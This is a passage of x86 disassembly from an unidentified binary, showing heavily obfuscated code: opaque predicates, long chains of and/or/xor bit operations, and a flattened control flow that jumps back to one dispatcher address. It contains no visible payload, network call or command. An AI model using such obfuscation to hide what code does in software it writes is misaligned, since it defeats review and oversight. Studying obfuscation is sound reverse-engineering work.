and dl, cl
xor cl, 0xff
mov ah, al
and ah, cl
xor al, 0xff
mov cl, byte [ebp - 0x1c49]
and cl, al
or ah, cl
mov al, dl
and al, ah
xor dl, ah
or al, dl
test al, 1
mov esi, dword [ebp - 0x1bf0]
mov edi, dword [ebp - 0x1c08]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, 0xcd42708
mov ecx, 0x3a4a94a7
mov dl, 1
xor esi, esi
mov edi, 0xdef8a1be
mov ebx, dword [0x4ac09c]
mov dword [ebp - 0x1ed8], eax
mov eax, dword [0x4ac084]
add edi, 0
sub edi, 0xf98c9e6b
sub edi, 0xdef8a1be
sub edi, 0x53659023
sub edi, 1
add edi, 0x53659023
mov dword [ebp - 0x1edc], eax
mov eax, esi
sub eax, edi
mov edi, esi
sub edi, 0xf98c9e6b
add eax, edi
mov edi, esi
sub edi, eax
sub esi, 0x831e4ece
mov eax, ebx
sub eax, esi
add eax, 0x72d3b9c1
add eax, edi
sub eax, 0x72d3b9c1
sub eax, 0x73e5b001
sub eax, 0x831e4ece
add eax, 0x73e5b001
imul ebx, eax
and ebx, 1
cmp ebx, 0
sete dh
mov eax, dword [ebp - 0x1edc]
cmp eax, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov bl, dl
xor bl, 1
mov bh, dh
and bh, bl
or ah, bh
mov bl, al
xor bl, 0xff
and bl, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x1edd], al
and al, bh
or bl, al
mov al, dl
xor al, 1
and al, 1
mov bh, dl
xor bh, 1
and bh, 1
or al, bh
mov bh, ah
xor bh, 0xff
mov byte [ebp - 0x1ede], al
mov al, bl
xor al, 0xff
mov byte [ebp - 0x1edf], al
mov al, dl
xor al, 0
mov byte [ebp - 0x1ee0], al
mov al, bh
and al, 0
mov byte [ebp - 0x1ee1], al
mov al, byte [ebp - 0x1ee0]
and ah, al
mov al, byte [ebp - 0x1edf]
and al, 0
mov byte [ebp - 0x1ee2], al
mov al, byte [ebp - 0x1ee0]
and bl, al
mov al, byte [ebp - 0x1ee1]
or al, ah
mov ah, byte [ebp - 0x1ee2]
or ah, bl
xor al, ah
mov ah, byte [ebp - 0x1edf]
or bh, ah
xor bh, 0xff
mov bl, byte [ebp - 0x1ee0]
or bl, 0
and bh, bl
or al, bh
mov bl, byte [ebp - 0x1ede]
and bl, 1
mov bh, byte [ebp - 0x1ede]
xor bh, 1
or bl, bh
mov bh, al
xor bh, 0xff
and bh, 1
mov ah, dl
xor ah, 1
and al, ah
or bh, al
xor bh, 0xff
xor bl, 0xff
mov al, dl
xor al, 1
or bh, bl
or al, 1
xor bh, 0xff
and bh, al
mov al, dh
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov bl, dh
and bl, ah
or al, bl
xor al, 0xff
mov ah, byte [ebp - 0x1edd]
xor ah, al
mov al, byte [ebp - 0x1edd]
and ah, al
xor al, 0xff
and al, 1
mov bl, dl
xor bl, 1
mov byte [ebp - 0x1ee3], al
mov al, byte [ebp - 0x1edd]
and al, bl
mov bl, byte [ebp - 0x1ee3]
or bl, al
xor dh, 0xff
xor bl, 0xff
mov al, dl
xor al, 1
or dh, bl
or al, 1
xor dh, 0xff
and dh, al
mov al, ah
xor al, 0xff
mov bl, dh
xor bl, 0xff
mov byte [ebp - 0x1ee4], al
mov al, dl
xor al, 1
mov byte [ebp - 0x1ee5], al
mov al, byte [ebp - 0x1ee4]
and al, 0xff
mov byte [ebp - 0x1ee6], al
mov al, byte [ebp - 0x1ee5]
and ah, al
mov al, bl
and al, 0xff
mov byte [ebp - 0x1ee7], al
mov al, byte [ebp - 0x1ee5]
and dh, al
mov al, byte [ebp - 0x1ee6]
or al, ah
mov ah, byte [ebp - 0x1ee7]
or ah, dh
xor al, ah
mov ah, byte [ebp - 0x1ee4]
or ah, bl
xor ah, 0xff
mov dh, byte [ebp - 0x1ee5]
or dh, 1
and ah, dh
or al, ah
mov ah, bh
xor ah, 0xff
and ah, 1
mov dh, dl
xor dh, 1
mov bl, bh
and bl, dh
mov byte [ebp - 0x1ee8], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
or ah, bl
or al, dh
xor ah, al
mov al, byte [ebp - 0x1ee8]
xor al, 0xff
and al, 1
mov dh, dl
xor dh, 1
mov bl, byte [ebp - 0x1ee8]
and bl, dh
mov byte [ebp - 0x1ee9], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
mov byte [ebp - 0x1eea], al
mov al, byte [ebp - 0x1ee9]
or al, bl
mov bl, byte [ebp - 0x1eea]
or bl, dh
xor al, bl
mov dh, dl
xor dh, 0
and dh, 0
mov bl, dl
xor bl, 0
mov byte [ebp - 0x1eeb], al
mov al, bl
and al, 0
mov byte [ebp - 0x1eec], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
mov byte [ebp - 0x1eed], al
mov al, byte [ebp - 0x1eec]
or dh, al
mov al, byte [ebp - 0x1eed]
or al, bl
xor dh, al
mov al, ah
xor al, 0xff
mov bl, dl
xor bl, 0
mov byte [ebp - 0x1eee], al
mov al, dl
xor al, 1
mov byte [ebp - 0x1eef], al
mov al, byte [ebp - 0x1eee]
or al, bl
mov bl, byte [ebp - 0x1eef]
or bl, 1
xor al, 0xff
and al, bl
xor bh, 0xff
mov bl, dh
xor bl, 0xff
mov byte [ebp - 0x1ef0], al
mov al, dl
xor al, 0
or bh, bl
or al, 0
xor bh, 0xff
and bh, al
mov al, dl
xor al, 0
mov bl, byte [ebp - 0x1eeb]
xor bl, al
mov al, byte [ebp - 0x1eeb]
and bl, al
mov al, byte [ebp - 0x1ee8]
xor al, 0xff
mov byte [ebp - 0x1ef1], al
mov al, dh
xor al, 0xff
mov byte [ebp - 0x1ef2], al
mov al, dl
xor al, 0
mov byte [ebp - 0x1ef3], al
mov al, byte [ebp - 0x1ef1]
mov dword [ebp - 0x1ef8], ecx
mov cl, byte [ebp - 0x1ef2]
or al, cl
mov cl, byte [ebp - 0x1ef3]
or cl, 0
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0x1ef0]
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov byte [ebp - 0x1ef9], al
mov al, dl
xor al, 0
mov byte [ebp - 0x1efa], al
mov al, cl
and al, 0
mov byte [ebp - 0x1efb], al
mov al, byte [ebp - 0x1ef0]
mov byte [ebp - 0x1efc], cl
mov cl, byte [ebp - 0x1efa]
and al, cl
mov cl, ch
and cl, 0
mov byte [ebp - 0x1efd], al
mov al, byte [ebp - 0x1efa]
and bh, al
mov al, byte [ebp - 0x1efb]
mov byte [ebp - 0x1efe], cl
mov cl, byte [ebp - 0x1efd]
or al, cl
mov cl, byte [ebp - 0x1efe]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x1efc]
or cl, ch
xor cl, 0xff
mov ch, byte [ebp - 0x1efa]
or ch, 0
and cl, ch
or al, cl
mov cl, bl
xor cl, 0xff
mov ch, byte [ebp - 0x1ef9]
xor ch, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x1eff], al
mov al, cl
and al, 0
and bl, bh
mov byte [ebp - 0x1f00], al
mov al, ch
and al, 0
mov byte [ebp - 0x1f01], al
mov al, byte [ebp - 0x1ef9]
and al, bh
mov byte [ebp - 0x1f02], al
mov al, byte [ebp - 0x1f00]
or al, bl
mov bl, byte [ebp - 0x1f01]
mov byte [ebp - 0x1f03], al
mov al, byte [ebp - 0x1f02]
or bl, al
mov al, byte [ebp - 0x1f03]
xor al, bl
or cl, ch
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, byte [ebp - 0x1eff]
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bl, byte [ebp - 0x1eff]
and bl, ch
mov bh, al
xor bh, 0xff
and bh, 0xff
and al, ch
or cl, bl
or bh, al
xor cl, bh
mov al, ah
xor al, 0xff
mov ch, byte [ebp - 0x1eeb]
xor ch, 0xff
mov bl, dl
xor bl, 0
mov bh, al
and bh, 0
and ah, bl
mov byte [ebp - 0x1f04], al
mov al, ch
and al, 0
mov byte [ebp - 0x1f05], al
mov al, byte [ebp - 0x1eeb]
and al, bl
or bh, ah
mov ah, byte [ebp - 0x1f05]
or ah, al
xor bh, ah
mov al, byte [ebp - 0x1f04]
or al, ch
xor al, 0xff
or bl, 0
and al, bl
or bh, al
mov al, bh
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
and bh, ah
or al, bh
mov ah, dh
and ah, 0
xor dh, 0
or ah, dh
xor al, 0xff
xor ah, 0xff
xor dl, 1
or al, ah
or dl, 1
xor al, 0xff
and al, dl
mov dl, cl
and dl, al
xor cl, al
or dl, cl
test dl, 1
mov esi, dword [ebp - 0x1ed8]
mov edi, dword [ebp - 0x1ef8]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov dword [ebp - 0xa8], 0xfe817ac4
jmp 0x45c869
mov eax, 0xaaf10dc6
mov ecx, 0x367ceb72
mov dl, 1
xor esi, esi
mov edi, 0xc84946a7
mov ebx, 0x78b9a296
mov dword [ebp - 0x203c], eax
mov eax, 0x877073ac
mov dword [ebp - 0x2040], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov dword [ebp - 0x2044], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x2048], eax
mov eax, dword [ebp - 0x2040]
add eax, 0
sub eax, 0x34fae81
sub eax, 0x877073ac
add eax, 0x2e38944e
mov dword [ebp - 0x204c], ecx
mov ecx, dword [ebp - 0x2048]
sub eax, ecx
sub eax, 0x2e38944e
mov ecx, esi
sub ecx, eax
mov eax, esi
sub eax, 0x34fae81
add ecx, eax
mov eax, esi
sub eax, ecx
mov ecx, esi
mov dword [ebp - 0x2050], eax
mov eax, dword [ebp - 0x2044]
sub ecx, eax
mov eax, esi
sub eax, 0xa1f0690f
add ecx, eax
mov eax, esi
sub eax, ecx
sub eax, 0x87b52170
mov ecx, dword [ebp - 0x2050]
sub eax, ecx
add eax, 0x87b52170
add eax, 0xca0da6bb
sub eax, 0xa1f0690f
sub eax, 0xca0da6bb
mov ecx, dword [ebp - 0x60]
mov dword [ecx], eax
mov eax, dword [0x4ac09c]
mov ecx, dword [0x4ac084]
mov dword [ebp - 0x2054], eax
mov eax, esi
sub eax, 0xae737223
sub eax, 0xbd64da06
add eax, 0xae737223
mov dword [ebp - 0x2058], eax
mov eax, dword [ebp - 0x2054]
sub eax, 0x973830b8
mov dword [ebp - 0x205c], ecx
mov ecx, dword [ebp - 0x2058]
add eax, ecx
add eax, 0x973830b8
mov ecx, esi
sub ecx, 1
add ecx, 0
add eax, 0x2d4fe8de
add eax, ecx
sub eax, 0x2d4fe8de
add ebx, 0
sub ebx, eax
sub ebx, 0x78b9a296
add edi, 0
sub edi, 0xbd64da06
sub edi, 0xc84946a7
add ebx, 0x50713648
add ebx, edi
sub ebx, 0x50713648
sub esi, 0x6d652686
sub esi, ebx
add esi, 0x6d652686
mov eax, dword [ebp - 0x2054]
imul eax, esi
and eax, 1
cmp eax, 0
sete dh
mov eax, dword [ebp - 0x205c]
cmp eax, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
or ah, ch
xor ah, 0xff
xor ah, 0
and ah, 0
mov cl, dl
xor cl, 0
and cl, 1
mov ch, dl
xor ch, 1
and ch, 0
or cl, ch
mov ch, dh
xor ch, 0xff
mov bl, cl
xor bl, 0xff
mov bh, dl
xor bh, 0
or ch, bl
or bh, 0
xor ch, 0xff
and ch, bh
mov bl, dl
xor bl, 1
and bl, 1
mov bh, dl
xor bh, 1
and bh, 1
or bl, bh
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x205d], al
mov al, dl
xor al, 0
or bl, bh
or al, 0
xor bl, 0xff
and bl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov al, ah
and al, ch
xor ah, ch
or al, ah
mov ah, bl
and ah, cl
xor bl, cl
or ah, bl
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
and al, ch
mov bl, ah
xor bl, 0xff
and bl, 0xff
and ah, ch
or cl, al
or bl, ah
xor cl, bl
mov al, byte [ebp - 0x205d]
xor al, 0xff
and al, 0
mov ah, dl
xor ah, 0
mov ch, byte [ebp - 0x205d]
and ch, ah
mov bl, dl
xor bl, 1
and bl, 0
and ah, 1
or al, ch
or bl, ah
xor al, bl
xor al, 0xff
xor al, 0
and al, 0
mov ah, dl
xor ah, 0
and ah, 1
mov ch, dl
xor ch, 1
mov bl, ch
and bl, 0
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or ah, bl
or bh, ch
xor ah, bh
mov ch, ah
xor ch, 0xff
mov bl, byte [ebp - 0x205d]
xor bl, ch
mov ch, byte [ebp - 0x205d]
and bl, ch
mov bh, dl
xor bh, 1
and bh, 1
mov ch, dl
xor ch, 1
and ch, 1
or bh, ch
mov ch, dl
xor ch, 0
mov byte [ebp - 0x205e], al
mov al, bh
xor al, ch
and al, bh
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov ch, byte [ebp - 0x205e]
and ch, bl
mov bh, byte [ebp - 0x205e]
xor bh, bl
or ch, bh
mov bl, al
and bl, ah
xor al, ah
or bl, al
mov al, ch
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
and ch, ah
mov bh, bl
xor bh, 0xff
and bh, 0xff
and bl, ah
or al, ch
or bh, bl
xor al, bh
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
and ch, 1
or ah, ch
xor ah, 0xff
xor ah, 0
and ah, 0
mov ch, dl
xor ch, 0
and ch, 0
mov bl, dl
xor bl, 0
mov bh, bl
and bh, 0
mov byte [ebp - 0x205f], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
or ch, bh
or al, bl
xor ch, al
mov al, dl
xor al, 1
mov bl, ch
xor bl, 0xff
mov bh, dl
xor bh, 0
or al, bl
or bh, 0
xor al, 0xff
and al, bh
mov bl, dl
xor bl, 1
and bl, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0x2060], al
mov al, bh
and al, 1
mov byte [ebp - 0x2061], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x2062], al
mov al, byte [ebp - 0x2061]
or bl, al
mov al, byte [ebp - 0x2062]
or al, bh
xor bl, al
mov al, dl
xor al, 0
mov bh, bl
xor bh, al
and bh, bl
mov al, dl
xor al, 1
xor ch, 0xff
mov bl, dl
xor bl, 0
or al, ch
or bl, 0
xor al, 0xff
and al, bl
mov ch, ah
mov bl, byte [ebp - 0x2060]
and ch, bl
xor ah, bl
or ch, ah
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x2063], al
mov al, dl
xor al, 0
mov byte [ebp - 0x2064], al
mov al, ah
and al, 0
mov byte [ebp - 0x2065], al
mov al, byte [ebp - 0x2064]
and bh, al
mov al, bl
and al, 0
mov byte [ebp - 0x2066], al
mov al, byte [ebp - 0x2063]
mov byte [ebp - 0x2067], cl
mov cl, byte [ebp - 0x2064]
and al, cl
mov cl, byte [ebp - 0x2065]
or cl, bh
mov bh, byte [ebp - 0x2066]
or bh, al
xor cl, bh
or ah, bl
xor ah, 0xff
mov al, byte [ebp - 0x2064]
or al, 0
and ah, al
or cl, ah
mov al, ch
xor al, 0xff
mov ah, cl
and ah, al
xor cl, 0xff
and ch, cl
or ah, ch
mov al, byte [ebp - 0x2067]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ch, byte [ebp - 0x2067]
and ch, cl
or al, ch
mov cl, dl
xor cl, 1
and cl, 1
mov ch, dl
xor ch, 1
and ch, 1
or cl, ch
mov ch, dl
xor ch, 0
and ch, 1
mov bl, dl
xor bl, 1
and bl, 0
or ch, bl
mov bl, al
xor bl, 0xff
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x2068], al
mov al, dl
xor al, 0
mov byte [ebp - 0x2069], al
mov al, bl
and al, 0
mov byte [ebp - 0x206a], al
mov al, byte [ebp - 0x2068]
mov byte [ebp - 0x206b], cl
mov cl, byte [ebp - 0x2069]
and al, cl
mov cl, bh
and cl, 0
mov byte [ebp - 0x206c], al
mov al, byte [ebp - 0x206b]
mov byte [ebp - 0x206d], cl
mov cl, byte [ebp - 0x2069]
and al, cl
mov cl, byte [ebp - 0x206a]
mov byte [ebp - 0x206e], al
mov al, byte [ebp - 0x206c]
or cl, al
mov al, byte [ebp - 0x206d]
mov byte [ebp - 0x206f], cl
mov cl, byte [ebp - 0x206e]
or al, cl
mov cl, byte [ebp - 0x206f]
xor cl, al
or bl, bh
xor bl, 0xff
mov al, byte [ebp - 0x2069]
or al, 0
and bl, al
or cl, bl
mov al, ch
and al, 0
xor ch, 0
or al, ch
mov ch, cl
xor ch, 0xff
and ch, 1
mov bl, dl
xor bl, 1
and cl, bl
mov bh, dl
xor bh, 1
and bh, 0xff
and bl, 1
or ch, cl
or bh, bl
xor ch, bh
xor ch, 0xff
xor al, 0xff
mov cl, dl
xor cl, 0
or ch, al
or cl, 0
xor ch, 0xff
and ch, cl
mov al, ah
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov bl, ah
and bl, cl
or al, bl
mov cl, dh
xor cl, 0xff
mov bl, al
and bl, cl
xor al, 0xff
mov cl, dh
and cl, al
or bl, cl
xor dh, 0xff
mov al, bl
xor al, dh
and al, bl
mov cl, dl
xor cl, 1
and cl, 1
mov dh, dl
xor dh, 1
mov bl, dh
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0xff
and dh, 1
or cl, bl
or bh, dh
xor cl, bh
mov dh, byte [ebp - 0x205f]
xor dh, 0xff
mov bl, cl
and bl, dh
xor cl, 0xff
mov dh, byte [ebp - 0x205f]
and dh, cl
or bl, dh
mov cl, byte [ebp - 0x205f]
xor cl, 0xff
mov dh, bl
xor dh, cl
and dh, bl
mov cl, byte [ebp - 0x205d]
xor cl, 0xff
and cl, 1
mov bl, dl
xor bl, 1
mov bh, byte [ebp - 0x205d]
and bh, bl
or cl, bh
mov bl, ah
xor bl, 0xff
and bl, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x2070], al
mov al, ah
and al, bh
or bl, al
mov al, dl
xor al, 0
and al, 1
mov bh, dl
xor bh, 1
and bh, 0
or al, bh
mov bh, cl
and bh, bl
xor cl, bl
or bh, cl
mov cl, al
and cl, 0
xor al, 0
or cl, al
mov al, bh
xor al, 0xff
and al, 1
mov bl, dl
xor bl, 1
and bh, bl
or al, bh
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, ch
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov bh, ch
and bh, cl
mov byte [ebp - 0x2071], al
mov al, dl
xor al, 1
and al, 0xff
and cl, 1
mov byte [ebp - 0x2072], al
mov al, byte [ebp - 0x2071]
or al, bh
mov bh, byte [ebp - 0x2072]
or bh, cl
xor al, bh
mov cl, byte [ebp - 0x2070]
xor cl, 0xff
and cl, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0x2073], al
mov al, byte [ebp - 0x2070]
and al, bh
mov byte [ebp - 0x2074], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x2075], al
mov al, byte [ebp - 0x2074]
or cl, al
mov al, byte [ebp - 0x2075]
or al, bh
xor cl, al
mov al, dl
xor al, 0
and al, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x2076], al
mov al, bh
and al, 0
mov byte [ebp - 0x2077], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x2078], al
mov al, byte [ebp - 0x2076]
mov byte [ebp - 0x2079], cl
mov cl, byte [ebp - 0x2077]
or al, cl
mov cl, byte [ebp - 0x2078]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x2073]
xor cl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x207a], al
mov al, dl
xor al, 1
or cl, bh
or al, 1
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x207a]
xor al, 0xff
mov bh, ch
xor bh, al
and bh, ch
mov al, byte [ebp - 0x2079]
xor al, 0xff
mov ch, dl
xor ch, 0
mov byte [ebp - 0x207b], al
mov al, dl
xor al, 0
mov byte [ebp - 0x207c], al
mov al, byte [ebp - 0x207b]
or al, ch
mov ch, byte [ebp - 0x207c]
or ch, 0
xor al, 0xff
and al, ch
mov ch, byte [ebp - 0x2070]
xor ch, 0xff
mov byte [ebp - 0x207d], al
mov al, byte [ebp - 0x207a]
xor al, 0xff
mov byte [ebp - 0x207e], al
mov al, dl
xor al, 0
mov byte [ebp - 0x207f], al
mov al, byte [ebp - 0x207e]
or ch, al
mov al, byte [ebp - 0x207f]
or al, 0
xor ch, 0xff
and ch, al
mov al, cl
and al, bh
xor cl, bh
or al, cl
mov cl, byte [ebp - 0x207d]
xor cl, 0xff
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x2080], al
mov al, dl
xor al, 1
mov byte [ebp - 0x2081], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x2082], al
mov al, byte [ebp - 0x207d]
mov byte [ebp - 0x2083], cl
mov cl, byte [ebp - 0x2081]
and al, cl
mov cl, bh
and cl, 0xff
mov byte [ebp - 0x2084], al
mov al, byte [ebp - 0x2081]
and ch, al
mov al, byte [ebp - 0x2082]
mov byte [ebp - 0x2085], cl
mov cl, byte [ebp - 0x2084]
or al, cl
mov cl, byte [ebp - 0x2085]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x2083]
or cl, bh
xor cl, 0xff
mov ch, byte [ebp - 0x2081]
or ch, 1
and cl, ch
or al, cl
mov cl, byte [ebp - 0x2080]
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bh, byte [ebp - 0x2080]
and bh, ch
mov byte [ebp - 0x2086], al
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x2087], al
mov al, byte [ebp - 0x2086]
and al, ch
or cl, bh
mov ch, byte [ebp - 0x2087]
or ch, al
xor cl, ch
mov al, byte [ebp - 0x2073]
xor al, 0xff
mov ch, byte [ebp - 0x2079]
xor ch, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x2088], al
and al, 0xff
mov byte [ebp - 0x2089], al
mov al, byte [ebp - 0x2073]
and al, bh
mov byte [ebp - 0x208a], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x208b], al
mov al, byte [ebp - 0x2079]
and al, bh
mov byte [ebp - 0x208c], al
mov al, byte [ebp - 0x2089]
mov byte [ebp - 0x208d], cl
mov cl, byte [ebp - 0x208a]
or al, cl
mov cl, byte [ebp - 0x208b]
mov byte [ebp - 0x208e], al
mov al, byte [ebp - 0x208c]
or cl, al
mov al, byte [ebp - 0x208e]
xor al, cl
mov cl, byte [ebp - 0x2088]
or cl, ch
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov ch, dl
xor ch, 0
and al, ch
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or cl, al
or bh, ch
xor cl, bh
mov al, dl
xor al, 0
mov ch, byte [ebp - 0x207a]
xor ch, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x208f], al
and al, 0xff
mov byte [ebp - 0x2090], al
mov al, bh
and al, 0
mov byte [ebp - 0x2091], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x2092], al
mov al, byte [ebp - 0x207a]
and al, bh
mov byte [ebp - 0x2093], al
mov al, byte [ebp - 0x2090]
mov byte [ebp - 0x2094], cl
mov cl, byte [ebp - 0x2091]
or al, cl
mov cl, byte [ebp - 0x2092]
mov byte [ebp - 0x2095], al
mov al, byte [ebp - 0x2093]
or cl, al
mov al, byte [ebp - 0x2095]
xor al, cl
mov cl, byte [ebp - 0x208f]
or cl, ch
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x2094]
xor cl, al
mov al, byte [ebp - 0x2094]
and cl, al
mov ch, byte [ebp - 0x208d]
xor ch, 0xff
mov bh, cl
xor bh, 0xff
mov al, dl
xor al, 1
mov byte [ebp - 0x2096], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x2097], al
mov al, byte [ebp - 0x208d]
mov byte [ebp - 0x2098], cl
mov cl, byte [ebp - 0x2096]
and al, cl
mov cl, bh
and cl, 0xff
mov byte [ebp - 0x2099], al
mov al, byte [ebp - 0x2098]
mov byte [ebp - 0x209a], cl
mov cl, byte [ebp - 0x2096]
and al, cl
mov cl, byte [ebp - 0x2097]
mov byte [ebp - 0x209b], al
mov al, byte [ebp - 0x2099]
or cl, al
mov al, byte [ebp - 0x209a]
mov byte [ebp - 0x209c], cl
mov cl, byte [ebp - 0x209b]
or al, cl
mov cl, byte [ebp - 0x209c]
xor cl, al
or ch, bh
xor ch, 0xff
mov al, byte [ebp - 0x2096]
or al, 1
and ch, al
or cl, ch
mov al, dh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov bh, dl
xor bh, 0
or al, ch
or bh, 0
xor al, 0xff
and al, bh
mov ch, dh
xor ch, 0xff
mov bh, bl
and bh, ch
xor bl, 0xff
and dh, bl
or bh, dh
mov ch, al
xor ch, 0xff
mov dh, bh
xor dh, 0xff
mov bl, dl
xor bl, 1
mov byte [ebp - 0x209d], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x209e], al
mov al, byte [ebp - 0x209d]
and al, bl
mov byte [ebp - 0x209f], al
mov al, dh
and al, 0xff
and bh, bl
mov byte [ebp - 0x20a0], al
mov al, byte [ebp - 0x209e]
mov byte [ebp - 0x20a1], cl
mov cl, byte [ebp - 0x209f]
or al, cl
mov cl, byte [ebp - 0x20a0]
or cl, bh
xor al, cl
or ch, dh
xor ch, 0xff
or bl, 1
and ch, bl
or al, ch
mov cl, byte [ebp - 0x20a1]
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov dh, byte [ebp - 0x20a1]
and dh, ch
or cl, dh
mov ch, dl
xor ch, 1
xor cl, 0xff
mov dh, dl
xor dh, 0
or ch, cl
or dh, 0
xor ch, 0xff
and ch, dh
mov cl, dl
xor cl, 1
and cl, 0
mov dh, dl
xor dh, 0
mov bl, dh
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0
and dh, 1
or cl, bl
or bh, dh
xor cl, bh
mov dh, cl
xor dh, 0xff
mov bl, byte [ebp - 0x20a1]
xor bl, dh
mov dh, byte [ebp - 0x20a1]
and bl, dh
mov bh, al
xor bh, 0xff
and bh, 1
mov dh, dl
xor dh, 1
mov byte [ebp - 0x20a2], al
and al, dh
mov byte [ebp - 0x20a3], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
mov byte [ebp - 0x20a4], al
mov al, byte [ebp - 0x20a3]
or bh, al
mov al, byte [ebp - 0x20a4]
or al, dh
xor bh, al
mov al, dl
xor al, 1
mov dh, bh
xor dh, al
and dh, bh
xor cl, 0xff
mov al, byte [ebp - 0x20a2]
xor al, cl
mov cl, byte [ebp - 0x20a2]
and al, cl
mov bh, ch
xor bh, 0xff
mov cl, bl
xor cl, 0xff
mov byte [ebp - 0x20a5], al
mov al, dl
xor al, 1
mov byte [ebp - 0x20a6], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x20a7], al
mov al, byte [ebp - 0x20a6]
and ch, al
mov al, cl
and al, 0xff
mov byte [ebp - 0x20a8], al
mov al, byte [ebp - 0x20a6]
and bl, al
mov al, byte [ebp - 0x20a7]
or al, ch
mov ch, byte [ebp - 0x20a8]
or ch, bl
xor al, ch
or bh, cl
xor bh, 0xff
mov cl, byte [ebp - 0x20a6]
or cl, 1
and bh, cl
or al, bh
mov cl, dh
mov ch, byte [ebp - 0x20a5]
and cl, ch
xor dh, ch
or cl, dh
mov dh, al
xor dh, 0xff
mov bl, cl
and bl, dh
xor cl, 0xff
and al, cl
or bl, al
mov al, byte [ebp - 0x2067]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov dh, byte [ebp - 0x2067]
and dh, cl
or al, dh
mov cl, byte [ebp - 0x205f]
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
mov bh, byte [ebp - 0x205f]
and bh, dh
or cl, bh
mov dh, dl
xor dh, 1
and dh, 0
mov bh, dl
xor bh, 0
mov ch, bh
and ch, 1
mov byte [ebp - 0x20a9], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
or dh, ch
or al, bh
xor dh, al
mov al, dl
xor al, 1
mov ch, byte [ebp - 0x20a9]
xor ch, al
mov al, byte [ebp - 0x20a9]
and ch, al
mov bh, dh
xor bh, 0xff
mov al, byte [ebp - 0x2067]
xor al, bh
mov bh, byte [ebp - 0x2067]
and al, bh
mov bh, dl
xor bh, 1
mov byte [ebp - 0x20aa], al
mov al, cl
xor al, bh
and al, cl
mov bh, byte [ebp - 0x205f]
xor bh, 0xff
mov byte [ebp - 0x20ab], al
mov al, dh
xor al, 0xff
mov byte [ebp - 0x20ac], al
mov al, dl
xor al, 1
mov byte [ebp - 0x20ad], al
mov al, byte [ebp - 0x20ac]
or bh, al
mov al, byte [ebp - 0x20ad]
or al, 1
xor bh, 0xff
and bh, al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x20ae], al
mov al, byte [ebp - 0x20aa]
xor al, 0xff
mov byte [ebp - 0x20af], al
mov al, dl
xor al, 0
mov byte [ebp - 0x20b0], al
mov al, byte [ebp - 0x20ae]
and al, 0
mov byte [ebp - 0x20b1], al
mov al, byte [ebp - 0x20b0]
and ch, al
mov al, byte [ebp - 0x20af]
and al, 0
